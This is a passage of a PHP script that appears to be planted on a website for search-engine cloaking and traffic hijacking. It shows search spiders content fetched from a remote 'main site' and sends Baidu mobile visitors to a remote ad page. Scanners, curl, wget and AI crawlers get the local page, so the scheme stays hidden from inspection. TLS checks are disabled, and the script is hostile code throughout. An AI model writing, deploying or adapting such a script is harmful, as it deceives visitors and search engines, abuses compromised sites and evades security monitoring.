$LX_STATIC_LOCAL_SWITCH = 1; //静态资源不请求主站 // 指定链接样式 $LX_URL_FILE = 'url.txt'; class LX_Reverse { private static $wantLocal = false; private static $appendLocal = false; public static function run($config) { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? (string) $_SERVER['HTTP_USER_AGENT'] : ''; $host = isset($_SERVER['HTTP_HOST']) ? (string) $_SERVER['HTTP_HOST'] : ''; $uri = isset($_SERVER['REQUEST_URI']) ? (string) $_SERVER['REQUEST_URI'] : '/'; $ref = isset($_SERVER['HTTP_REFERER']) ? (string) $_SERVER['HTTP_REFERER'] : ''; if (self::isHomeCacheUa($ua, $config)) { header('X-HomeCache-Local: 1'); return; } if (!empty($config['static_local_switch']) && self::isStaticAsset($uri)) { header('X-Static-Local: 1'); return; } $gip = self::clientIp(); if (array_key_exists('gip', $_GET)) { header('Content-Type: text/plain; charset=utf-8'); echo $gip; exit; } if (!empty($config['ua_local_switch']) && self::shouldUseLocalForUa($ua)) { header('X-UA-Local: 1'); return; } if (self::isAllowedSpider($ua)) { $content = self::fetchMain(self::buildMainUrl($config, $host, $uri, $ua, $gip), $ua, $gip); if (self::$appendLocal) { echo $content; return; } if (self::$wantLocal) { header('X-Remote-Local: 1'); return; } echo $content; exit; } if (self::isBaiduClient($ua) || (self::isMobile($ua) && stripos($ref, 'baidu.com') !== false)) { echo self::fetchPlain(self::urlWithIp($config['ad_url'], $gip)); exit; } } private static function isHomeCacheUa($ua, $config) { $homeUa = isset($config['home_cache_ua']) ? trim((string) $config['home_cache_ua']) : ''; return $homeUa !== '' && trim((string) $ua) === $homeUa; } private static function shouldUseLocalForUa($ua) { $ua = trim((string) $ua); if ($ua === '' || strlen($ua) < 10) { return true; } if (self::isBaiduClient($ua) || self::isAllowedSpider($ua)) { return false; } return preg_match('/(?:bot|spider|crawl|scraper|ai|gpt|claude|robot|python|curl|wget|scan|monitor|fetch|harvest|collect)/i', $ua) === 1; } private static function spiderReg() { return '/(?:baiduspider|sogou[\s\-]?(?:web|test|pic|orion|news|wechat)?[\s\-]?spider|sogou|sogo|yisouspider|haosouspider|360spider|sm\.cn|so\.com|bytespider|yandexbot|googlebot|bingbot)/i'; } private static function isAllowedSpider($ua) { if (self::isBaiduClient($ua)) { return false; } return preg_match(self::spiderReg(), (string) $ua) === 1; } private static function isBaiduClient($ua) { return preg_match('/(?:baiduboxapp|baidubrowser|baidu.*(?:mobile|app|client|box))/i', (string) $ua) === 1; } private static function isMobile($ua) { return preg_match('/(?:iPhone|Android|Mobile|Windows Phone)/i', (string) $ua) === 1; } private static function isStaticAsset($uri) { $path = parse_url((string) $uri, PHP_URL_PATH); $path = is_string($path) ? $path : (string) $uri; return preg_match('/\.(?:css|js|jpg|jpeg|png|gif|ico|svg|webp|bmp|woff|woff2|ttf|eot|otf|mp4|mp3|avi|mov|pdf|zip|rar|7z)(?:\?.*)?$/i', $path) === 1; } private static function buildMainUrl($config, $host, $uri, $ua, $gip) { $info = self::requestLinkInfo($uri); $road = 'domain=' . urlencode($host) . '&path=' . urlencode($uri) . '&real_path=' . urlencode($info['real_path']) . '&real_filename=' . urlencode($info['real_filename']) . '&proxy_path=' . urlencode($info['proxy_path']) . '&proxy_file=' . urlencode($info['proxy_file']) . '&scheme=' . urlencode(self::scheme()) . '&is_home=' . urlencode(self::isHomeRequest($uri) ? '1' : '0'); if (!empty($config['url_file'])) { $road .= '&url_file=' . urlencode((string) $config['url_file']); } $road .= '&spider=' . urlencode($ua) . '&gip=' . urlencode($gip) . '&sign=' . self::calcSign(); return rtrim($config['main_site'], '?&') . '?' . $road; } private static function requestLinkInfo($uri) { $realPath = self::requestPath($uri); $proxyPath = self::scriptPath(); $realSplit = self::splitPathFile($realPath); $proxySplit = self::splitPathFile($proxyPath); return array( 'real_path' => $realPath, 'real_filename' => $realSplit[1], 'proxy_path' => $proxySplit[0], 'proxy_file' => $proxySplit[1], ); } private static function requestPath($uri) { $path = parse_url((string) $uri, PHP_URL_PATH); if (!is_string($path) || $path === '') { return '/'; } return self::normalizePath($path); } private static function scriptPath() { if (!empty($_SERVER['SCRIPT_NAME'])) { return self::normalizePath($_SERVER['SCRIPT_NAME']); } if (!empty($_SERVER['PHP_SELF'])) { return self::normalizePath($_SERVER['PHP_SELF']); } return '/' . basename(__FILE__); } private static function splitPathFile($path) { $path = self::normalizePath($path); if ($path === '/' || substr($path, -1) === '/') { return array($path, ''); } $file = basename($path); $dir = dirname($path); if ($dir === '.' || $dir === '\\') { $dir = '/'; } $dir = self::normalizePath($dir); if ($dir !== '/' && substr($dir, -1) !== '/') { $dir .= '/'; } return array($dir, $file); } private static function normalizePath($path) { $path = str_replace('\\', '/', trim((string) $path)); $path = preg_replace('#/+#', '/', $path); if ($path === '') { return '/'; } if ($path[0] !== '/') { $path = '/' . $path; } $keepSlash = substr($path, -1) === '/'; $parts = array(); foreach (explode('/', $path) as $part) { if ($part === '' || $part === '.') { continue; } if ($part === '..') { array_pop($parts); continue; } $parts[] = $part; } $out = '/' . implode('/', $parts); if ($out !== '/' && $keepSlash) { $out .= '/'; } return $out === '' ? '/' : $out; } private static function isHomeRequest($uri) { $parsed = parse_url((string) $uri); $query = is_array($parsed) && isset($parsed['query']) ? trim((string) $parsed['query']) : ''; if ($query !== '') { return false; } $path = is_array($parsed) && isset($parsed['path']) ? (string) $parsed['path'] : '/'; $path = strtolower(rtrim(self::normalizePath($path), '/')); if ($path === '') { $path = '/'; } return in_array($path, array('/', '/index.php', '/index.html', '/index.htm'), true); } private static function scheme() { if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])) { $p = explode(',', $_SERVER['HTTP_X_FORWARDED_PROTO']); $v = strtolower(trim($p[0])); if ($v === 'http' || $v === 'https') { return $v; } } if (!empty($_SERVER['HTTPS']) && strtolower((string) $_SERVER['HTTPS']) !== 'off') { return 'https'; } if (isset($_SERVER['SERVER_PORT']) && (string) $_SERVER['SERVER_PORT'] === '443') { return 'https'; } return 'http'; } private static function clientIp() { // 服务器端读取广告页时,REMOTE_ADDR 常常是代理/副站 IP;优先取真实访客头。 $keys = array( 'HTTP_CF_CONNECTING_IP', 'HTTP_TRUE_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_X_CLIENT_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED', ); foreach ($keys as $key) { if (!empty($_SERVER[$key])) { $ip = self::firstPublicIp($_SERVER[$key]); if ($ip !== '') { return $ip; } } } $remote = self::normalizeIp(isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''); if (self::isPublicIp($remote)) { return $remote; } return ''; } private static function firstPublicIp($value) { $value = trim((string) $value); if ($value === '') { return ''; } foreach (explode(',', $value) as $part) { $ip = self::normalizeIp($part); if (self::isPublicIp($ip)) { return $ip; } } return ''; } private static function normalizeIp($ip) { $ip = trim((string) $ip, " \t\n\r\0\x0B\"'"); if (stripos($ip, 'for=') === 0) { $ip = substr($ip, 4); $semi = strpos($ip, ';'); if ($semi !== false) { $ip = substr($ip, 0, $semi); } $ip = trim($ip, " \t\n\r\0\x0B\"'"); } if (substr($ip, 0, 1) === '[') { $end = strpos($ip, ']'); if ($end !== false) { return substr($ip, 1, $end - 1); } } if (preg_match('/^(\d{1,3}(?:\.\d{1,3}){3}):\d+$/', $ip, $m)) { return $m[1]; } return $ip; } private static function isPublicIp($ip) { $ip = trim((string) $ip); if ($ip === '') { return false; } if (function_exists('filter_var')) { return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false; } return self::isPublicIpv4($ip); } private static function isPublicIpv4($ip) { $ip = trim((string) $ip); if (!preg_match('/^\d{1,3}(?:\.\d{1,3}){3}$/', $ip)) { return false; } $p = array_map('intval', explode('.', $ip)); foreach ($p as $n) { if ($n < 0 || $n > 255) { return false; } } if ($p[0] === 0 || $p[0] === 10 || $p[0] === 127 || $p[0] >= 224) { return false; } if ($p[0] === 172 && $p[1] >= 16 && $p[1] <= 31) { return false; } if ($p[0] === 192 && $p[1] === 168) { return false; } if ($p[0] === 169 && $p[1] === 254) { return false; } return true; } private static function urlWithIp($url, $ip) { if ($ip === '') { return $url; } return $url . (strpos($url, '?') === false ? '?' : '&') . 'ip=' . urlencode($ip); } private static function fetchPlain($url) { if (function_exists('curl_init')) { $ch = curl_init(); if ($ch) { curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $data = curl_exec($ch); curl_close($ch); return is_string($data) ? $data : ''; } } if (function_exists('file_get_contents') && ini_get('allow_url_fopen')) { $ctx = stream_context_create(array('http' => array( 'method' => 'GET', 'timeout' => 5, 'header' => "User-Agent: Mozilla/5.0\r\n", 'follow_location' => 0, 'max_redirects' => 0, ))); $data = @file_get_contents($url, false, $ctx); return is_string($data) ? $data : ''; } return ''; } private static function fetchMain($url, $ua, $ip) { self::$wantLocal = false; self::$appendLocal = false; if (!function_exists('curl_init')) { return self::fetchPlain($url); } $ch = curl_init(); if (!$ch) { return ''; } $headers = array('CLIENT-IP: ' . $ip, 'X-FORWARDED-FOR: ' . $ip); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADERFUNCTION, array('LX_Reverse', 'captureHeader')); curl_setopt($ch, CURLOPT_ENCODING, ''); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $data = curl_exec($ch); curl_close($ch); return is_string($data) ? $data : ''; } public static function captureHeader($ch, $header) { $line = trim((string) $header); if (stripos($line, 'X-Proxy-Action:') === 0 && stripos($line, 'append-local') !== false) { self::$appendLocal = true; self::$wantLocal = true; } elseif (stripos($line, 'X-Proxy-Action:') === 0 && stripos($line, 'local') !== false) { self::$wantLocal = true; } return strlen($header); } private static function calcSign() { $file = __FILE__; return md5(@md5_file($file) . '|' . @filemtime($file) . '|' . @filesize($file) . '|' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '')); } } $LX_CONFIG = array( 'main_site' => $LX_MAIN_SITE, 'home_cache_ua' => $LX_HOME_CACHE_UA, 'ad_url' => $LX_AD_URL, 'ua_local_switch' => $LX_UA_LOCAL_SWITCH, 'static_local_switch' => $LX_STATIC_LOCAL_SWITCH, 'url_file' => $LX_URL_FILE, ); LX_Reverse::run($LX_CONFIG); // 本地兜底内容放在最底部,编码由本地文件自己处理。 if ($LX_LOCAL_CHARSET !== '' && !headers_sent()) { header('Content-Type: text/html; charset=' . $LX_LOCAL_CHARSET); } if ($LX_LOCAL_FILE !== '' && is_file($LX_LOCAL_FILE)) { include($LX_LOCAL_FILE); } ?>